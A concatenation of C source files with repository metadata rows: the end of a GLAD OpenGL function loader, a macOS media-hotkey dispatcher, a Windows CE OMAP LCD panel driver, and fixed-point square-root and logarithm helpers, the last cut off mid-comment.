glad_glClearNamedFramebufferuiv = (PFNGLCLEARNAMEDFRAMEBUFFERUIVPROC)load("glClearNamedFramebufferuiv");
glad_glClearNamedFramebufferfv = (PFNGLCLEARNAMEDFRAMEBUFFERFVPROC)load("glClearNamedFramebufferfv");
glad_glClearNamedFramebufferfi = (PFNGLCLEARNAMEDFRAMEBUFFERFIPROC)load("glClearNamedFramebufferfi");
glad_glBlitNamedFramebuffer = (PFNGLBLITNAMEDFRAMEBUFFERPROC)load("glBlitNamedFramebuffer");
glad_glCheckNamedFramebufferStatus = (PFNGLCHECKNAMEDFRAMEBUFFERSTATUSPROC)load("glCheckNamedFramebufferStatus");
glad_glGetNamedFramebufferParameteriv = (PFNGLGETNAMEDFRAMEBUFFERPARAMETERIVPROC)load("glGetNamedFramebufferParameteriv");
glad_glGetNamedFramebufferAttachmentParameteriv = (PFNGLGETNAMEDFRAMEBUFFERATTACHMENTPARAMETERIVPROC)load("glGetNamedFramebufferAttachmentParameteriv");
glad_glCreateRenderbuffers = (PFNGLCREATERENDERBUFFERSPROC)load("glCreateRenderbuffers");
glad_glNamedRenderbufferStorage = (PFNGLNAMEDRENDERBUFFERSTORAGEPROC)load("glNamedRenderbufferStorage");
glad_glNamedRenderbufferStorageMultisample = (PFNGLNAMEDRENDERBUFFERSTORAGEMULTISAMPLEPROC)load("glNamedRenderbufferStorageMultisample");
glad_glGetNamedRenderbufferParameteriv = (PFNGLGETNAMEDRENDERBUFFERPARAMETERIVPROC)load("glGetNamedRenderbufferParameteriv");
glad_glCreateTextures = (PFNGLCREATETEXTURESPROC)load("glCreateTextures");
glad_glTextureBuffer = (PFNGLTEXTUREBUFFERPROC)load("glTextureBuffer");
glad_glTextureBufferRange = (PFNGLTEXTUREBUFFERRANGEPROC)load("glTextureBufferRange");
glad_glTextureStorage1D = (PFNGLTEXTURESTORAGE1DPROC)load("glTextureStorage1D");
glad_glTextureStorage2D = (PFNGLTEXTURESTORAGE2DPROC)load("glTextureStorage2D");
glad_glTextureStorage3D = (PFNGLTEXTURESTORAGE3DPROC)load("glTextureStorage3D");
glad_glTextureStorage2DMultisample = (PFNGLTEXTURESTORAGE2DMULTISAMPLEPROC)load("glTextureStorage2DMultisample");
glad_glTextureStorage3DMultisample = (PFNGLTEXTURESTORAGE3DMULTISAMPLEPROC)load("glTextureStorage3DMultisample");
glad_glTextureSubImage1D = (PFNGLTEXTURESUBIMAGE1DPROC)load("glTextureSubImage1D");
glad_glTextureSubImage2D = (PFNGLTEXTURESUBIMAGE2DPROC)load("glTextureSubImage2D");
glad_glTextureSubImage3D = (PFNGLTEXTURESUBIMAGE3DPROC)load("glTextureSubImage3D");
glad_glCompressedTextureSubImage1D = (PFNGLCOMPRESSEDTEXTURESUBIMAGE1DPROC)load("glCompressedTextureSubImage1D");
glad_glCompressedTextureSubImage2D = (PFNGLCOMPRESSEDTEXTURESUBIMAGE2DPROC)load("glCompressedTextureSubImage2D");
glad_glCompressedTextureSubImage3D = (PFNGLCOMPRESSEDTEXTURESUBIMAGE3DPROC)load("glCompressedTextureSubImage3D");
glad_glCopyTextureSubImage1D = (PFNGLCOPYTEXTURESUBIMAGE1DPROC)load("glCopyTextureSubImage1D");
glad_glCopyTextureSubImage2D = (PFNGLCOPYTEXTURESUBIMAGE2DPROC)load("glCopyTextureSubImage2D");
glad_glCopyTextureSubImage3D = (PFNGLCOPYTEXTURESUBIMAGE3DPROC)load("glCopyTextureSubImage3D");
glad_glTextureParameterf = (PFNGLTEXTUREPARAMETERFPROC)load("glTextureParameterf");
glad_glTextureParameterfv = (PFNGLTEXTUREPARAMETERFVPROC)load("glTextureParameterfv");
glad_glTextureParameteri = (PFNGLTEXTUREPARAMETERIPROC)load("glTextureParameteri");
glad_glTextureParameterIiv = (PFNGLTEXTUREPARAMETERIIVPROC)load("glTextureParameterIiv");
glad_glTextureParameterIuiv = (PFNGLTEXTUREPARAMETERIUIVPROC)load("glTextureParameterIuiv");
glad_glTextureParameteriv = (PFNGLTEXTUREPARAMETERIVPROC)load("glTextureParameteriv");
glad_glGenerateTextureMipmap = (PFNGLGENERATETEXTUREMIPMAPPROC)load("glGenerateTextureMipmap");
glad_glBindTextureUnit = (PFNGLBINDTEXTUREUNITPROC)load("glBindTextureUnit");
glad_glGetTextureImage = (PFNGLGETTEXTUREIMAGEPROC)load("glGetTextureImage");
glad_glGetCompressedTextureImage = (PFNGLGETCOMPRESSEDTEXTUREIMAGEPROC)load("glGetCompressedTextureImage");
glad_glGetTextureLevelParameterfv = (PFNGLGETTEXTURELEVELPARAMETERFVPROC)load("glGetTextureLevelParameterfv");
glad_glGetTextureLevelParameteriv = (PFNGLGETTEXTURELEVELPARAMETERIVPROC)load("glGetTextureLevelParameteriv");
glad_glGetTextureParameterfv = (PFNGLGETTEXTUREPARAMETERFVPROC)load("glGetTextureParameterfv");
glad_glGetTextureParameterIiv = (PFNGLGETTEXTUREPARAMETERIIVPROC)load("glGetTextureParameterIiv");
glad_glGetTextureParameterIuiv = (PFNGLGETTEXTUREPARAMETERIUIVPROC)load("glGetTextureParameterIuiv");
glad_glGetTextureParameteriv = (PFNGLGETTEXTUREPARAMETERIVPROC)load("glGetTextureParameteriv");
glad_glCreateVertexArrays = (PFNGLCREATEVERTEXARRAYSPROC)load("glCreateVertexArrays");
glad_glDisableVertexArrayAttrib = (PFNGLDISABLEVERTEXARRAYATTRIBPROC)load("glDisableVertexArrayAttrib");
glad_glEnableVertexArrayAttrib = (PFNGLENABLEVERTEXARRAYATTRIBPROC)load("glEnableVertexArrayAttrib");
glad_glVertexArrayElementBuffer = (PFNGLVERTEXARRAYELEMENTBUFFERPROC)load("glVertexArrayElementBuffer");
glad_glVertexArrayVertexBuffer = (PFNGLVERTEXARRAYVERTEXBUFFERPROC)load("glVertexArrayVertexBuffer");
glad_glVertexArrayVertexBuffers = (PFNGLVERTEXARRAYVERTEXBUFFERSPROC)load("glVertexArrayVertexBuffers");
glad_glVertexArrayAttribBinding = (PFNGLVERTEXARRAYATTRIBBINDINGPROC)load("glVertexArrayAttribBinding");
glad_glVertexArrayAttribFormat = (PFNGLVERTEXARRAYATTRIBFORMATPROC)load("glVertexArrayAttribFormat");
glad_glVertexArrayAttribIFormat = (PFNGLVERTEXARRAYATTRIBIFORMATPROC)load("glVertexArrayAttribIFormat");
glad_glVertexArrayAttribLFormat = (PFNGLVERTEXARRAYATTRIBLFORMATPROC)load("glVertexArrayAttribLFormat");
glad_glVertexArrayBindingDivisor = (PFNGLVERTEXARRAYBINDINGDIVISORPROC)load("glVertexArrayBindingDivisor");
glad_glGetVertexArrayiv = (PFNGLGETVERTEXARRAYIVPROC)load("glGetVertexArrayiv");
glad_glGetVertexArrayIndexediv = (PFNGLGETVERTEXARRAYINDEXEDIVPROC)load("glGetVertexArrayIndexediv");
glad_glGetVertexArrayIndexed64iv = (PFNGLGETVERTEXARRAYINDEXED64IVPROC)load("glGetVertexArrayIndexed64iv");
glad_glCreateSamplers = (PFNGLCREATESAMPLERSPROC)load("glCreateSamplers");
glad_glCreateProgramPipelines = (PFNGLCREATEPROGRAMPIPELINESPROC)load("glCreateProgramPipelines");
glad_glCreateQueries = (PFNGLCREATEQUERIESPROC)load("glCreateQueries");
glad_glGetQueryBufferObjecti64v = (PFNGLGETQUERYBUFFEROBJECTI64VPROC)load("glGetQueryBufferObjecti64v");
glad_glGetQueryBufferObjectiv = (PFNGLGETQUERYBUFFEROBJECTIVPROC)load("glGetQueryBufferObjectiv");
glad_glGetQueryBufferObjectui64v = (PFNGLGETQUERYBUFFEROBJECTUI64VPROC)load("glGetQueryBufferObjectui64v");
glad_glGetQueryBufferObjectuiv = (PFNGLGETQUERYBUFFEROBJECTUIVPROC)load("glGetQueryBufferObjectuiv");
glad_glMemoryBarrierByRegion = (PFNGLMEMORYBARRIERBYREGIONPROC)load("glMemoryBarrierByRegion");
glad_glGetTextureSubImage = (PFNGLGETTEXTURESUBIMAGEPROC)load("glGetTextureSubImage");
glad_glGetCompressedTextureSubImage = (PFNGLGETCOMPRESSEDTEXTURESUBIMAGEPROC)load("glGetCompressedTextureSubImage");
glad_glGetGraphicsResetStatus = (PFNGLGETGRAPHICSRESETSTATUSPROC)load("glGetGraphicsResetStatus");
glad_glGetnCompressedTexImage = (PFNGLGETNCOMPRESSEDTEXIMAGEPROC)load("glGetnCompressedTexImage");
glad_glGetnTexImage = (PFNGLGETNTEXIMAGEPROC)load("glGetnTexImage");
glad_glGetnUniformdv = (PFNGLGETNUNIFORMDVPROC)load("glGetnUniformdv");
glad_glGetnUniformfv = (PFNGLGETNUNIFORMFVPROC)load("glGetnUniformfv");
glad_glGetnUniformiv = (PFNGLGETNUNIFORMIVPROC)load("glGetnUniformiv");
glad_glGetnUniformuiv = (PFNGLGETNUNIFORMUIVPROC)load("glGetnUniformuiv");
glad_glReadnPixels = (PFNGLREADNPIXELSPROC)load("glReadnPixels");
glad_glGetnMapdv = (PFNGLGETNMAPDVPROC)load("glGetnMapdv");
glad_glGetnMapfv = (PFNGLGETNMAPFVPROC)load("glGetnMapfv");
glad_glGetnMapiv = (PFNGLGETNMAPIVPROC)load("glGetnMapiv");
glad_glGetnPixelMapfv = (PFNGLGETNPIXELMAPFVPROC)load("glGetnPixelMapfv");
glad_glGetnPixelMapuiv = (PFNGLGETNPIXELMAPUIVPROC)load("glGetnPixelMapuiv");
glad_glGetnPixelMapusv = (PFNGLGETNPIXELMAPUSVPROC)load("glGetnPixelMapusv");
glad_glGetnPolygonStipple = (PFNGLGETNPOLYGONSTIPPLEPROC)load("glGetnPolygonStipple");
glad_glGetnColorTable = (PFNGLGETNCOLORTABLEPROC)load("glGetnColorTable");
glad_glGetnConvolutionFilter = (PFNGLGETNCONVOLUTIONFILTERPROC)load("glGetnConvolutionFilter");
glad_glGetnSeparableFilter = (PFNGLGETNSEPARABLEFILTERPROC)load("glGetnSeparableFilter");
glad_glGetnHistogram = (PFNGLGETNHISTOGRAMPROC)load("glGetnHistogram");
glad_glGetnMinmax = (PFNGLGETNMINMAXPROC)load("glGetnMinmax");
glad_glTextureBarrier = (PFNGLTEXTUREBARRIERPROC)load("glTextureBarrier");
}
static int find_extensionsGL(void) {
if (!get_exts()) return 0;
(void)&has_ext;
free_exts();
return 1;
}
static void find_coreGL(void) {
/* Thank you @elmindreda
* https://github.com/elmindreda/greg/blob/master/templates/greg.c.in#L176
* https://github.com/glfw/glfw/blob/master/src/context.c#L36
*/
int i, major, minor;
const char* version;
const char* prefixes[] = {
"OpenGL ES-CM ",
"OpenGL ES-CL ",
"OpenGL ES ",
NULL
};
version = (const char*) glGetString(GL_VERSION);
if (!version) return;
for (i = 0; prefixes[i]; i++) {
const size_t length = strlen(prefixes[i]);
if (strncmp(version, prefixes[i], length) == 0) {
version += length;
break;
}
}
/* PR #18 */
#ifdef _MSC_VER
sscanf_s(version, "%d.%d", &major, &minor);
#else
sscanf(version, "%d.%d", &major, &minor);
#endif
GLVersion.major = major; GLVersion.minor = minor;
max_loaded_major = major; max_loaded_minor = minor;
GLAD_GL_VERSION_1_0 = (major == 1 && minor >= 0) || major > 1;
GLAD_GL_VERSION_1_1 = (major == 1 && minor >= 1) || major > 1;
GLAD_GL_VERSION_1_2 = (major == 1 && minor >= 2) || major > 1;
GLAD_GL_VERSION_1_3 = (major == 1 && minor >= 3) || major > 1;
GLAD_GL_VERSION_1_4 = (major == 1 && minor >= 4) || major > 1;
GLAD_GL_VERSION_1_5 = (major == 1 && minor >= 5) || major > 1;
GLAD_GL_VERSION_2_0 = (major == 2 && minor >= 0) || major > 2;
GLAD_GL_VERSION_2_1 = (major == 2 && minor >= 1) || major > 2;
GLAD_GL_VERSION_3_0 = (major == 3 && minor >= 0) || major > 3;
GLAD_GL_VERSION_3_1 = (major == 3 && minor >= 1) || major > 3;
GLAD_GL_VERSION_3_2 = (major == 3 && minor >= 2) || major > 3;
GLAD_GL_VERSION_3_3 = (major == 3 && minor >= 3) || major > 3;
GLAD_GL_VERSION_4_0 = (major == 4 && minor >= 0) || major > 4;
GLAD_GL_VERSION_4_1 = (major == 4 && minor >= 1) || major > 4;
GLAD_GL_VERSION_4_2 = (major == 4 && minor >= 2) || major > 4;
GLAD_GL_VERSION_4_3 = (major == 4 && minor >= 3) || major > 4;
GLAD_GL_VERSION_4_4 = (major == 4 && minor >= 4) || major > 4;
GLAD_GL_VERSION_4_5 = (major == 4 && minor >= 5) || major > 4;
if (GLVersion.major > 4 || (GLVersion.major >= 4 && GLVersion.minor >= 5)) {
max_loaded_major = 4;
max_loaded_minor = 5;
}
}
int gladLoadGLLoader(GLADloadproc load) {
GLVersion.major = 0; GLVersion.minor = 0;
glGetString = (PFNGLGETSTRINGPROC)load("glGetString");
if(glGetString == NULL) return 0;
if(glGetString(GL_VERSION) == NULL) return 0;
find_coreGL();
load_GL_VERSION_1_0(load);
load_GL_VERSION_1_1(load);
load_GL_VERSION_1_2(load);
load_GL_VERSION_1_3(load);
load_GL_VERSION_1_4(load);
load_GL_VERSION_1_5(load);
load_GL_VERSION_2_0(load);
load_GL_VERSION_2_1(load);
load_GL_VERSION_3_0(load);
load_GL_VERSION_3_1(load);
load_GL_VERSION_3_2(load);
load_GL_VERSION_3_3(load);
load_GL_VERSION_4_0(load);
load_GL_VERSION_4_1(load);
load_GL_VERSION_4_2(load);
load_GL_VERSION_4_3(load);
load_GL_VERSION_4_4(load);
load_GL_VERSION_4_5(load);
if (!find_extensionsGL()) return 0;
return GLVersion.major != 0 || GLVersion.minor != 0;
}
| [
"koshkov-artem@mail.ru"
] | koshkov-artem@mail.ru |
8613317e42afc6cab93f2fc69c394edc64a15f4c | 01e5fd5eaa5670155ed1c4a5734ecad13708a917 | /syshotkeys/syshotkey.c | 2ae5cd27dfe62349e0b89241644fb49a6f3d3186 | [] | no_license | LiamZ/SonIR_ReceiverMac | 4a29259dca7b082c02c679aeeb8def5d390d6f55 | 04efbcc8180cf8fc31ad5085c225f9d879ced5e8 | refs/heads/master | 2021-01-19T08:26:28.531176 | 2012-08-18T22:20:04 | 2012-08-18T22:20:04 | 5,466,593 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,383 | c | //
// File.c
// SonIR
//
// Created by LiamZ on 18/05/12.
//
#include "syshotkey.h"
#include "../CoreEvents.h"
#include "../HID_Event/HID_Event.h"
#import <IOKit/hidsystem/ev_keymap.h>
void execSysFunction(long type){
// comment : unfinished work here
switch (type) {
case sysMissionControl:
//system("open '/Applications/Mission Control.app'");
EmitKeyEventFlagMode(kVK_missionControl, true, (CGEventFlags)-1);
EmitKeyEventFlagMode(kVK_missionControl, false, (CGEventFlags)-1);
break;
case sysDashboard:
EmitKeyEventFlagMode(kVK_dashboard, true, (CGEventFlags)-1);
EmitKeyEventFlagMode(kVK_dashboard, false, (CGEventFlags)-1);
break;
case sysLaunchPad: system("open '/Applications/Launchpad.app'");
break;
case sysMediaPlay: HIDPostAuxKey(NX_KEYTYPE_PLAY);
break;
case sysMediaPrev: HIDPostAuxKey(NX_KEYTYPE_REWIND);
break;
case sysMediaNext: HIDPostAuxKey(NX_KEYTYPE_FAST);
break;
case sysMediaVolUp: HIDPostAuxKey(NX_KEYTYPE_SOUND_UP);
break;
case sysMediaVolDown: HIDPostAuxKey(NX_KEYTYPE_SOUND_DOWN);
break;
case sysMediaVolMute: HIDPostAuxKey(NX_KEYTYPE_MUTE);
break;
default:
break;
}
} | [
"roland@chambre.net"
] | roland@chambre.net |
824f740ca8880622dc346236399733fa70ef194e | a565dc8a731c4166548d3e3bf8156c149d793162 | /PLATFORM/TI_EVM_3530/SRC/DRIVERS/LCD/VGA/lcd_vga.c | 3ee446a41de31a84f6ba03db93d87ae161458d0d | [] | no_license | radtek/MTI_WINCE317_BSP | eaaf3147d3de9a731a011b61f30d938dc48be5b5 | 32ea5df0f2918036f4b53a4b3aabecb113213cc6 | refs/heads/master | 2021-12-08T13:09:24.823090 | 2016-03-17T15:27:44 | 2016-03-17T15:30:48 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 10,547 | c | // Copyright (c) 2007, 2013 Micronet Ltd. All rights reserved.
// by Vladimir Zatulovsky
/*
================================================================================
* Texas Instruments OMAP(TM) Platform Software
* (c) Copyright Texas Instruments, Incorporated. All Rights Reserved.
*
* Use of this software is controlled by the terms and conditions found
* in the license agreement under which this software has been supplied.
*
================================================================================
*/
#include <windows.h>
#include <winuser.h>
#include <winuserm.h>
#include <bsp.h>
#include <lcd.h>
#include "lcd_cfg.h"
////////////////////////////////////////////////////////////////////////
// Defines
//
#define BSP_DPLL4_CLK 864000000
UINT32 lcd_u_d;
UINT32 dispc_pixelformat;
UINT32 lcd_width;
UINT32 lcd_height;
UINT32 lcd_hsw; // Horizontal Sync Width
UINT32 lcd_hfp; // Horizontal Front Porch
UINT32 lcd_hbp; // Horizontal Back Porch
UINT32 lcd_vsw; // Vertical Sync Width
UINT32 lcd_vfp; // Vertical Front Porch
UINT32 lcd_vbp; // Vertical Back Porch
UINT32 lcd_logclkdiv;
UINT32 lcd_pixclkdiv;
UINT32 dss_clksel;
UINT32 lcd_loadmode;
UINT32 lcd_polfreq;
UINT32 lcd_default_color;
UINT32 lcd_trans_color;
UINT32 tv_default_color;
UINT32 tv_trans_color;
static BOOL bDVIEnabled = 0;
static OMAP_DISPC_REGS *g_pDispRegs;
extern card_ver g_cv;
//------------------------------------------------------------------------------
//
static void LcdPdd_LCD_Init()
{
lcd_gpio_en(1);
if(g_cv.config == 'C')
{
RETAILMSG(0, (L"LCD_VGA:%S, LCD 'C' configuration\r\n",__FUNCTION__));
lcd_u_d = 1;
dispc_pixelformat = DISPC_PIXELFORMAT_RGB16;
lcd_width = 480;
lcd_height = 272;
lcd_hsw = 41; //
lcd_hfp = 2; //
lcd_hbp = 2; //
lcd_vsw = 10; //
lcd_vfp = 2; //
lcd_vbp = 2; //
lcd_logclkdiv = 1;
dss_clksel = (16 << 0); //DSS1 = DPLL4/16 = 54 MHz;
lcd_pixclkdiv = 4; // pixel clock 54/7 = 7.71 MHz 6; // pixel clock 54/6 = 9; // pixel clock 54/4 = 13.5 MHz
lcd_loadmode = 0;
// lcd_polfreq = (DISPC_POL_FREQ_RF | DISPC_POL_FREQ_IVS | DISPC_POL_FREQ_IHS | DISPC_POL_FREQ_IPC | DISPC_POL_FREQ_ONOFF);
lcd_polfreq = (DISPC_POL_FREQ_RF | DISPC_POL_FREQ_IVS | DISPC_POL_FREQ_IHS | DISPC_POL_FREQ_ONOFF);
lcd_default_color = 0;
lcd_trans_color = 0;
tv_default_color = 0;
tv_trans_color = 0;
}
else
{
// 'B' - default
lcd_u_d = 0;
dispc_pixelformat = DISPC_PIXELFORMAT_RGB16;
lcd_width = 800;
lcd_height = 480;
// 800+(47+1)+(39+1)+(39+1) = 928
lcd_hsw = 47;
lcd_hfp = 39;
lcd_hbp = 39;
// 480+(2+1)+13+29 = 525
lcd_vsw = 2;
lcd_vfp = 13;
lcd_vbp = 29;
lcd_logclkdiv = 1;
dss_clksel = (12 << 0); //DSS1 = DPLL4/12 = 72 MHz;
//dss_clksel = (11 << 0); //DSS1 = DPLL4/11 = 78.(54) MHz;
lcd_pixclkdiv = 2; // pixel clock 72/2 = 36
//lcd_pixclkdiv = 2; // pixel clock 78.(54)/2 = 39.(27)
lcd_loadmode = 0;
lcd_polfreq = (DISPC_POL_FREQ_RF | DISPC_POL_FREQ_IVS | DISPC_POL_FREQ_IHS | DISPC_POL_FREQ_ONOFF);
lcd_default_color = 0;
lcd_trans_color = 0;
tv_default_color = 0;
tv_trans_color = 0;
}
}
BOOL LcdPdd_LCD_Initialize(OMAP_DSS_REGS *pDSSRegs, OMAP_DISPC_REGS *pDispRegs, OMAP_RFBI_REGS *pRfbiRegs,
OMAP_VENC_REGS *pVencRegs, OMAP_PRCM_DSS_CM_REGS *pPrcmDssCM)
{
// Store pointer to display controller for future use
g_pDispRegs = pDispRegs;
// Initialize LCD timing
LcdPdd_LCD_Init();
RETAILMSG(1, (L"LcdPdd_LCD_Initialize (CE-300): LCD is %s(%c)\r\n", (g_cv.config == 'A')?L"WINTEK 4.3 controlled via 3-wire":
(g_cv.config == 'B')?L"WINSTAR 7":
(g_cv.config == 'C')?L"Dastek 4.3":L"unknown",
g_cv.config));
// setup the DSS1 clock divider - disable DSS1 clock, change divider, enable DSS clock
OUTREG32(&pPrcmDssCM->CM_FCLKEN_DSS, INREG32(&pPrcmDssCM->CM_FCLKEN_DSS) & ~CM_CLKEN_DSS1);
OUTREG32(&pPrcmDssCM->CM_CLKSEL_DSS, BSP_DSS_CLKSEL_TV | dss_clksel);
OUTREG32(&pPrcmDssCM->CM_FCLKEN_DSS, INREG32(&pPrcmDssCM->CM_FCLKEN_DSS) | CM_CLKEN_DSS1);
// LCD control
OUTREG32(&pDispRegs->DISPC_CONTROL,
DISPC_CONTROL_GPOUT1 |
DISPC_CONTROL_GPOUT0 |
DISPC_CONTROL_TFTDATALINES_24 |
DISPC_CONTROL_STNTFT
);
// LCD config
OUTREG32(&pDispRegs->DISPC_CONFIG,
DISPC_CONFIG_FUNCGATED | //DISPC_CONFIG_ACBIASGATED |
DISPC_CONFIG_LOADMODE(lcd_loadmode) |
DISPC_CONFIG_PALETTEGAMMATABLE
);
// Default Color
OUTREG32(&pDispRegs->DISPC_DEFAULT_COLOR0, lcd_default_color);
// Default Transparency Color
OUTREG32(&pDispRegs->DISPC_TRANS_COLOR0, lcd_trans_color);
// Timing logic for HSYNC signal
OUTREG32(&pDispRegs->DISPC_TIMING_H, DISPC_TIMING_H_HSW(lcd_hsw) | DISPC_TIMING_H_HFP(lcd_hfp) | DISPC_TIMING_H_HBP(lcd_hbp));
// Timing logic for VSYNC signal
OUTREG32(&pDispRegs->DISPC_TIMING_V, DISPC_TIMING_V_VSW(lcd_vsw) | DISPC_TIMING_V_VFP(lcd_vfp) | DISPC_TIMING_V_VBP(lcd_vbp));
// Signal configuration
OUTREG32(&pDispRegs->DISPC_POL_FREQ, lcd_polfreq);
RETAILMSG(0, (L"LcdPdd_LCD_Initialize PCLK divisor (%X <- %X)\r\n", INREG32(&pDispRegs->DISPC_DIVISOR), DISPC_DIVISOR_PCD(lcd_pixclkdiv) | DISPC_DIVISOR_LCD(lcd_logclkdiv)));
// Configures the divisor
OUTREG32(&pDispRegs->DISPC_DIVISOR, DISPC_DIVISOR_PCD(lcd_pixclkdiv) | DISPC_DIVISOR_LCD(lcd_logclkdiv));
// Configures the panel size
OUTREG32(&pDispRegs->DISPC_SIZE_LCD, DISPC_SIZE_LCD_LPP(lcd_height) | DISPC_SIZE_LCD_PPL(lcd_width));
LcdPdd_SetPowerLevel(D0);
return 1;
}
//------------------------------------------------------------------------------
BOOL LcdPdd_SetPowerLevel(DWORD dwPowerLevel)
{
UINT32 read = 0;
UINT16 control = 0;
// Do nothing if LCD has not yet been initialized
if(!g_pDispRegs)
return 0;
RETAILMSG(1, (L"LcdPdd_SetPowerLevel(D%d)\r\n", dwPowerLevel));
// Power display up/down
switch(dwPowerLevel)
{
case D0:
case D1:
case D2:
{
OUTREG32(&g_pDispRegs->DISPC_CONTROL,
DISPC_CONTROL_GPOUT1 | DISPC_CONTROL_GPOUT0 | DISPC_CONTROL_TFTDATALINES_24 | DISPC_CONTROL_STNTFT);
// Apply display configuration
SETREG32(&g_pDispRegs->DISPC_CONTROL, DISPC_CONTROL_GOLCD);
// LCD power enable sequence
lcd_power_en(1);
// Start scanning
SETREG32( &g_pDispRegs->DISPC_CONTROL, DISPC_CONTROL_LCDENABLE);
// Delay for minimum 20uS
LcdStall(50);
// enable display buffer
lcd_buff_en(1);
LcdStall(10);
break;
}
// case D2:
case D3:
case D4:
{
// disable DVI
// LcdDviEnableControl(0);
// disable lcd buffer
lcd_buff_en(0);
// LCD power disable sequence
lcd_power_en(0);
// Delay > 5 frames
LcdSleep(20*5);
// 3 - Stop all
CLRREG32(&g_pDispRegs->DISPC_CONTROL, DISPC_CONTROL_LCDENABLE);
break;
}
}
return 1;
}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
BOOL LcdPdd_TV_Initialize(OMAP_DSS_REGS *pDSSRegs, OMAP_DISPC_REGS *pDispRegs, OMAP_RFBI_REGS *pRfbiRegs, OMAP_VENC_REGS *pVencRegs)
{
// Enable TV out DSS control settings
#if BSP_TVOUT_COMPOSITE
SETREG32( &pDSSRegs->DSS_CONTROL,
DSS_CONTROL_DAC_POWERDN_BGZ |
DSS_CONTROL_DAC_DEMEN |
DSS_CONTROL_VENC_CLOCK_4X_ENABLE |
DSS_CONTROL_VENC_CLOCK_MODE_0
);
CLRREG32( &pDSSRegs->DSS_CONTROL,
DSS_CONTROL_DAC_VENC_OUT_SEL //Enable Composite TVout
);
#else
SETREG32( &pDSSRegs->DSS_CONTROL,
DSS_CONTROL_DAC_VENC_OUT_SEL | // Enables S-video
DSS_CONTROL_DAC_POWERDN_BGZ |
DSS_CONTROL_DAC_DEMEN |
DSS_CONTROL_VENC_CLOCK_4X_ENABLE |
DSS_CONTROL_VENC_CLOCK_MODE_0
);
#endif
// Default Color
OUTREG32(&pDispRegs->DISPC_DEFAULT_COLOR1, tv_default_color);
// Default Transparency Color
OUTREG32(&pDispRegs->DISPC_TRANS_COLOR1, tv_trans_color);
// Configures the TV size for NTSC interlaced (half height)
// the LPP is programmed to (NTSC_HEIGHT+2)/2 for interlaced mode
OUTREG32(&pDispRegs->DISPC_SIZE_DIG, DISPC_SIZE_DIG_LPP((NTSC_HEIGHT+2)/2) | DISPC_SIZE_DIG_PPL(NTSC_WIDTH));
return 1;
}
//------------------------------------------------------------------------------
BOOL LcdPdd_GetMemory(DWORD *pVideoMemLen, DWORD *pVideoMemAddr)
{
// Return video memory parameters
if(pVideoMemLen)
*pVideoMemLen = IMAGE_DISPLAY_BUF_SIZE;
if(pVideoMemAddr)
*pVideoMemAddr = IMAGE_DISPLAY_BUF_PA;
return 1;
}
//------------------------------------------------------------------------------
BOOL LcdPdd_LCD_GetMode(DWORD *pPixelFormat, DWORD *pWidth, DWORD *pHeight, DWORD *pPixelClock)
{
// Return default LCD parameters
LcdPdd_LCD_Init();
if(pPixelFormat)
*pPixelFormat = dispc_pixelformat;
if(pWidth)
*pWidth = lcd_width;
if(pHeight)
*pHeight = lcd_height;
if(pPixelClock)
*pPixelClock = (BSP_DPLL4_CLK / dss_clksel) / lcd_pixclkdiv;
return TRUE;
}
//------------------------------------------------------------------------------
BOOL LcdPdd_TV_GetMode(DWORD *pWidth, DWORD *pHeight, DWORD *pMode)
{
// Return default TV parameters
if( pWidth )
#if BSP_TVOUT_PAL
*pWidth = PAL_WIDTH;
#else
*pWidth = NTSC_WIDTH;
#endif
if( pHeight )
#if BSP_TVOUT_PAL
*pHeight = PAL_HEIGHT;
#else
*pHeight = NTSC_HEIGHT;
#endif
if( pMode )
{
#if BSP_TVOUT_COMPOSITE
*pMode = TVOUT_COMPOSITE;
#else
*pMode = TVOUT_SVIDEO;
#endif
}
return TRUE;
}
//------------------------------------------------------------------------------
BOOL LcdPdd_DVI_Select(BOOL bEnable)
{
// only changes the select variable, does not perform the change
bDVIEnabled = bEnable;
return 1;
}
//------------------------------------------------------------------------------
BOOL LcdPdd_DVI_Enabled(void)
{
return bDVIEnabled;
}
//------------------------------------------------------------------------------
DWORD LcdPdd_Get_PixClkDiv(void)
{
return lcd_pixclkdiv;
}
| [
"ruslan.sirota@micronet-inc.com"
] | ruslan.sirota@micronet-inc.com |
55301675b026e541c4978a1f4ce84a67b8e4d761 | d7a0abf67988d0bbe1bef9c8258b95ae0f30739a | /drivers/chirpmicro/src/ch_math_utils.c | 53aa40c66d496937090ec0fd570cdadcc918301d | [
"0BSD"
] | permissive | sergtello/Petcan | 0644fcab6384612677fb51d12121bd825a4a761b | a3ce91bdc58eee835b23043beaabcf403b2d7c0e | refs/heads/main | 2023-06-12T07:48:29.393561 | 2021-07-01T17:40:41 | 2021-07-01T17:40:41 | 382,107,911 | 0 | 0 | null | null | null | null | WINDOWS-1252 | C | false | false | 2,275 | c | /*!
* \file ch_math_utils.c
* \date July 20, 2017
* \author nparikh
* \copyright Copyright 2017-2020 Chirp Microsystems. All rights reserved.
* \brief Functions for performing fixed point arithmetic.
* https://github.com/dmoulding/log2fix
* https://github.com/chmike/fpsqrt
*
* Integer square root function:
* Algorithm and code Author Christophe Meessen 1993.
*/
#include <ch_math_utils.h>
fixed_t FP_sqrt(fixed_t x)
{
uint32_t t, q, b, r;
r = x;
b = 0x40000000;
q = 0;
while( b > 0x40 )
{
t = q + b;
if( r >= t )
{
r -= t;
q = t + b; // equivalent to q += 2*b
}
r <<= 1;
b >>= 1;
}
q >>= 8;
return q;
}
fixed_t FP_log2(fixed_t x)
{
// This implementation is based on Clay. S. Turner's fast binary logarithm
// algorithm[1].
fixed_t b = 1U << (FRACT_BITS - 1);
fixed_t y = 0;
size_t i;
fixed_t z;
if (x == 0) {
return 0; // represents negative infinity
}
while (x < 1U << FRACT_BITS) {
x <<= 1;
y -= 1U << FRACT_BITS;
}
while (x >= 2U << FRACT_BITS) {
x >>= 1;
y += 1U << FRACT_BITS;
}
z = x;
for (i = 0; i < FRACT_BITS; i++) {
z = FIXEDMUL(z, z);// >> FRACT_BITS;
if (z >= 2U << FRACT_BITS) {
z >>= 1;
y += b;
}
b >>= 1;
}
return y;
}
fixed_t FP_log(fixed_t x)
{
return (FIXEDMUL(FP_log2(x), (uint64_t)INV_LOG2_E_Q1DOT31)>>15);
}
/*
* int32_t sqrt_int32( int32_t v );
*
* Compute int32_t to int32_t square root
* RETURNS the integer square root of v
* REQUIRES v is positive
*
* Algorithm and code Author Christophe Meessen 1993.
